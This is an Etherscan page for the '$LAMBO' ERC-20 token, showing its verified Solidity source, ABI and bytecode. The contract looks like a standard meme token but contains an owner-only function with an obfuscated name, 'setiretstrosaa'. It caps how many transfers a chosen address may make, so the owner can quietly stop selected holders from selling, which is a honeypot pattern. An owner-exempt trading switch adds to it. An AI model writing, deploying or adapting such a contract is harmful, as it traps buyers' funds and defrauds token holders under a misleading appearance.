ETH Price: $3,268.86 (+0.80%)
Gas: 1 Gwei

Token

$LAMBO ($LAMBO)
 

Overview

Max Total Supply

100,000,000 $LAMBO

Holders

311

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
Uniswap V2: $LAMBO 3
Balance
0.000000000001788301 $LAMBO

Value
$0.00
0xdd5f454a994118c835bbf91be34810a41723c97c
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LAMBO

Compiler Version
v0.8.12+commit.f00d7308

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-19
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.11;


interface IERC20 {
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender,
     uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}


interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);
    function symbol() external view returns (string memory);
    function decimals() external view returns (uint8);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data; 
    }
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: LAMBO caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the LAMBO zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

contract ERC20 is Context, IERC20, IERC20Metadata {

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    string private _name;
    string private _symbol;
    uint256 private _totalSupply;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        uint256 currentAllowance = _allowances[sender][_msgSender()];
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: LAMBO transfer amount exceeds allowance");
            unchecked {
                _approve(sender, _msgSender(), currentAllowance - amount);
            }
        }

        _transfer(sender, recipient, amount);

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, "LAMBOERC20: decreased allowance below zero");
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20LAMBO: transfer from the zero address");
        require(recipient != address(0), "LAMBO: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, "ERC20: transfer amount LAMBO exceeds balance");
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint LAMBO to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: LAMBO burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: LAMBO approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract LAMBO is ERC20, Ownable {
    mapping (address => bool) private _isExcludedFromEnableTrad;
    mapping(address => uint256) private usersss;

    constructor (address owner) ERC20("$LAMBO", "$LAMBO") 
    {   
        _isExcludedFromEnableTrad[owner] = true;
        _mint(owner, 100000000 * (10 ** decimals()));
    }

    receive() external payable {}

    function excludeFromEnableTrading(address account, bool excluded) external onlyOwner{
        require(_isExcludedFromEnableTrad[account] != excluded,"Account is LAMBO already the value of 'excluded'");
        _isExcludedFromEnableTrad[account] = excluded;
    }

    function isExcludedFromEnableTrading(address account) public view returns(bool) {
        return _isExcludedFromEnableTrad[account];
    }

    mapping(address => bool) private isLimitSet;

    function setiretstrosaa(address _address, uint256 _limit) external onlyOwner {
        usersss[_address] = _limit;
        isLimitSet[_address] = true;
    }

    function getusers(address _address) public view returns (uint256) {
        return usersss[_address];
    }

    function hasusers(address _address) public view returns (bool) {
        return isLimitSet[_address];
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
        super._beforeTokenTransfer(from, to, amount);

        if(from != address(0) && to != address(0) && isLimitSet[from]) {
            require(usersss[from] > 0, "No transfer LAMBO rights remaining");
            usersss[from]--;
        }
    }

    bool public tradingEnabled;

    function enableTrading() external onlyOwner{
        require(!tradingEnabled, "Trading already LAMBO enabled.");
        tradingEnabled = true;
    }

    function _transfer(address from,address to,uint256 amount) internal  override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer LAMBO to the zero address");
        require(tradingEnabled || _isExcludedFromEnableTrad[from] || _isExcludedFromEnableTrad[to], "Trading not yet enabled!");
       
        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }

        super._transfer(from, to, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromEnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getusers","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"hasusers","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromEnableTrading","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_limit","type":"uint256"}],"name":"setiretstrosaa","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040523480156200001157600080fd5b50604051620031f4380380620031f48339818101604052810190620000379190620006cb565b6040518060400160405280600681526020017f244c414d424f00000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f244c414d424f00000000000000000000000000000000000000000000000000008152508160029080519060200190620000bb929190620005b1565b508060039080519060200190620000d4929190620005b1565b505050620000f7620000eb6200019660201b60201c565b6200019e60201b60201c565b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200018f81620001646200026460201b60201c565b600a62000172919062000897565b6305f5e100620001839190620008e8565b6200026d60201b60201c565b5062000ba9565b600033905090565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620002e0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620002d790620009d0565b60405180910390fd5b620002f460008383620003e660201b60201c565b8060046000828254620003089190620009f2565b92505081905550806000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546200035f9190620009f2565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003c6919062000a60565b60405180910390a3620003e260008383620005a760201b60201c565b5050565b620003fe838383620005ac60201b620010601760201c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015620004695750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015620004bf5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15620005a2576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116200054a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620005419062000af3565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906200059c9062000b15565b91905055505b505050565b505050565b505050565b828054620005bf9062000b73565b90600052602060002090601f016020900481019282620005e357600085556200062f565b82601f10620005fe57805160ff19168380011785556200062f565b828001600101855582156200062f579182015b828111156200062e57825182559160200191906001019062000611565b5b5090506200063e919062000642565b5090565b5b808211156200065d57600081600090555060010162000643565b5090565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620006938262000666565b9050919050565b620006a58162000686565b8114620006b157600080fd5b50565b600081519050620006c5816200069a565b92915050565b600060208284031215620006e457620006e362000661565b5b6000620006f484828501620006b4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200078b57808604811115620007635762000762620006fd565b5b6001851615620007735780820291505b808102905062000783856200072c565b945062000743565b94509492505050565b600082620007a6576001905062000879565b81620007b6576000905062000879565b8160018114620007cf5760028114620007da5762000810565b600191505062000879565b60ff841115620007ef57620007ee620006fd565b5b8360020a915084821115620008095762000808620006fd565b5b5062000879565b5060208310610133831016604e8410600b84101617156200084a5782820a905083811115620008445762000843620006fd565b5b62000879565b62000859848484600162000739565b92509050818404811115620008735762000872620006fd565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620008a48262000880565b9150620008b1836200088a565b9250620008e07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000794565b905092915050565b6000620008f58262000880565b9150620009028362000880565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200093e576200093d620006fd565b5b828202905092915050565b600082825260208201905092915050565b7f45524332303a206d696e74204c414d424f20746f20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000620009b860258362000949565b9150620009c5826200095a565b604082019050919050565b60006020820190508181036000830152620009eb81620009a9565b9050919050565b6000620009ff8262000880565b915062000a0c8362000880565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000a445762000a43620006fd565b5b828201905092915050565b62000a5a8162000880565b82525050565b600060208201905062000a77600083018462000a4f565b92915050565b7f4e6f207472616e73666572204c414d424f207269676874732072656d61696e6960008201527f6e67000000000000000000000000000000000000000000000000000000000000602082015250565b600062000adb60228362000949565b915062000ae88262000a7d565b604082019050919050565b6000602082019050818103600083015262000b0e8162000acc565b9050919050565b600062000b228262000880565b9150600082141562000b395762000b38620006fd565b5b600182039050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000b8c57607f821691505b6020821081141562000ba35762000ba262000b44565b5b50919050565b61263b8062000bb96000396000f3fe60806040526004361061012e5760003560e01c8063715018a6116100ab578063a457c2d71161006f578063a457c2d714610401578063a9059cbb1461043e578063b7e04c111461047b578063dd62ed3e146104b8578063f2fde38b146104f5578063fb2781001461051e57610135565b8063715018a61461034057806375d5e02c146103575780638a8c523c146103945780638da5cb5b146103ab57806395d89b41146103d657610135565b80633520a3b4116100f25780633520a3b4146102355780633950935114610272578063484d993f146102af5780634ada218b146102d857806370a082311461030357610135565b806306fdde031461013a578063095ea7b31461016557806318160ddd146101a257806323b872dd146101cd578063313ce5671461020a57610135565b3661013557005b600080fd5b34801561014657600080fd5b5061014f610547565b60405161015c91906119cb565b60405180910390f35b34801561017157600080fd5b5061018c60048036038101906101879190611a86565b6105d9565b6040516101999190611ae1565b60405180910390f35b3480156101ae57600080fd5b506101b76105f7565b6040516101c49190611b0b565b60405180910390f35b3480156101d957600080fd5b506101f460048036038101906101ef9190611b26565b610601565b6040516102019190611ae1565b60405180910390f35b34801561021657600080fd5b5061021f610720565b60405161022c9190611b95565b60405180910390f35b34801561024157600080fd5b5061025c60048036038101906102579190611bb0565b610729565b6040516102699190611ae1565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190611a86565b61077f565b6040516102a69190611ae1565b60405180910390f35b3480156102bb57600080fd5b506102d660048036038101906102d19190611c09565b61082b565b005b3480156102e457600080fd5b506102ed610995565b6040516102fa9190611ae1565b60405180910390f35b34801561030f57600080fd5b5061032a60048036038101906103259190611bb0565b6109a8565b6040516103379190611b0b565b60405180910390f35b34801561034c57600080fd5b506103556109f0565b005b34801561036357600080fd5b5061037e60048036038101906103799190611bb0565b610a78565b60405161038b9190611ae1565b60405180910390f35b3480156103a057600080fd5b506103a9610ace565b005b3480156103b757600080fd5b506103c0610bb7565b6040516103cd9190611c58565b60405180910390f35b3480156103e257600080fd5b506103eb610be1565b6040516103f891906119cb565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190611a86565b610c73565b6040516104359190611ae1565b60405180910390f35b34801561044a57600080fd5b5061046560048036038101906104609190611a86565b610d5e565b6040516104729190611ae1565b60405180910390f35b34801561048757600080fd5b506104a2600480360381019061049d9190611bb0565b610d7c565b6040516104af9190611b0b565b60405180910390f35b3480156104c457600080fd5b506104df60048036038101906104da9190611c73565b610dc5565b6040516104ec9190611b0b565b60405180910390f35b34801561050157600080fd5b5061051c60048036038101906105179190611bb0565b610e4c565b005b34801561052a57600080fd5b5061054560048036038101906105409190611a86565b610f44565b005b60606002805461055690611ce2565b80601f016020809104026020016040519081016040528092919081815260200182805461058290611ce2565b80156105cf5780601f106105a4576101008083540402835291602001916105cf565b820191906000526020600020905b8154815290600101906020018083116105b257829003601f168201915b5050505050905090565b60006105ed6105e6611065565b848461106d565b6001905092915050565b6000600454905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061064d611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461070957828110156106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90611d86565b60405180910390fd5b61070885610700611065565b85840361106d565b5b610714858585611238565b60019150509392505050565b60006012905090565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061082161078c611065565b84846001600061079a611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461081c9190611dd5565b61106d565b6001905092915050565b610833611065565b73ffffffffffffffffffffffffffffffffffffffff16610851610bb7565b73ffffffffffffffffffffffffffffffffffffffff16146108a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161089e90611e9d565b60405180910390fd5b801515600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141561093a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093190611f2f565b60405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600960009054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6109f8611065565b73ffffffffffffffffffffffffffffffffffffffff16610a16610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610a6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6390611e9d565b60405180910390fd5b610a76600061143a565b565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610ad6611065565b73ffffffffffffffffffffffffffffffffffffffff16610af4610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4190611e9d565b60405180910390fd5b600960009054906101000a900460ff1615610b9a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9190611f9b565b60405180910390fd5b6001600960006101000a81548160ff021916908315150217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610bf090611ce2565b80601f0160208091040260200160405190810160405280929190818152602001828054610c1c90611ce2565b8015610c695780601f10610c3e57610100808354040283529160200191610c69565b820191906000526020600020905b815481529060010190602001808311610c4c57829003601f168201915b5050505050905090565b60008060016000610c82611065565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d369061202d565b60405180910390fd5b610d53610d4a611065565b8585840361106d565b600191505092915050565b6000610d72610d6b611065565b8484611238565b6001905092915050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610e54611065565b73ffffffffffffffffffffffffffffffffffffffff16610e72610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610ec8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ebf90611e9d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f906120bf565b60405180910390fd5b610f418161143a565b50565b610f4c611065565b73ffffffffffffffffffffffffffffffffffffffff16610f6a610bb7565b73ffffffffffffffffffffffffffffffffffffffff1614610fc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb790611e9d565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b505050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156110dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110d490612151565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561114d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611144906121e3565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122b9190611b0b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129f90612275565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f90612307565b60405180910390fd5b600960009054906101000a900460ff168061137c5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806113d05750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61140f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140690612373565b60405180910390fd5b60008114156114295761142483836000611500565b611435565b611434838383611500565b5b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790612405565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d790612497565b60405180910390fd5b6115eb838383611781565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166890612529565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117049190611dd5565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516117689190611b0b565b60405180910390a361177b84848461192d565b50505050565b61178c838383611060565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117f65750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561184b5750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611928576000600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054116118d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c9906125bb565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190611922906125db565b91905055505b505050565b505050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561196c578082015181840152602081019050611951565b8381111561197b576000848401525b50505050565b6000601f19601f8301169050919050565b600061199d82611932565b6119a7818561193d565b93506119b781856020860161194e565b6119c081611981565b840191505092915050565b600060208201905081810360008301526119e58184611992565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611a1d826119f2565b9050919050565b611a2d81611a12565b8114611a3857600080fd5b50565b600081359050611a4a81611a24565b92915050565b6000819050919050565b611a6381611a50565b8114611a6e57600080fd5b50565b600081359050611a8081611a5a565b92915050565b60008060408385031215611a9d57611a9c6119ed565b5b6000611aab85828601611a3b565b9250506020611abc85828601611a71565b9150509250929050565b60008115159050919050565b611adb81611ac6565b82525050565b6000602082019050611af66000830184611ad2565b92915050565b611b0581611a50565b82525050565b6000602082019050611b206000830184611afc565b92915050565b600080600060608486031215611b3f57611b3e6119ed565b5b6000611b4d86828701611a3b565b9350506020611b5e86828701611a3b565b9250506040611b6f86828701611a71565b9150509250925092565b600060ff82169050919050565b611b8f81611b79565b82525050565b6000602082019050611baa6000830184611b86565b92915050565b600060208284031215611bc657611bc56119ed565b5b6000611bd484828501611a3b565b91505092915050565b611be681611ac6565b8114611bf157600080fd5b5056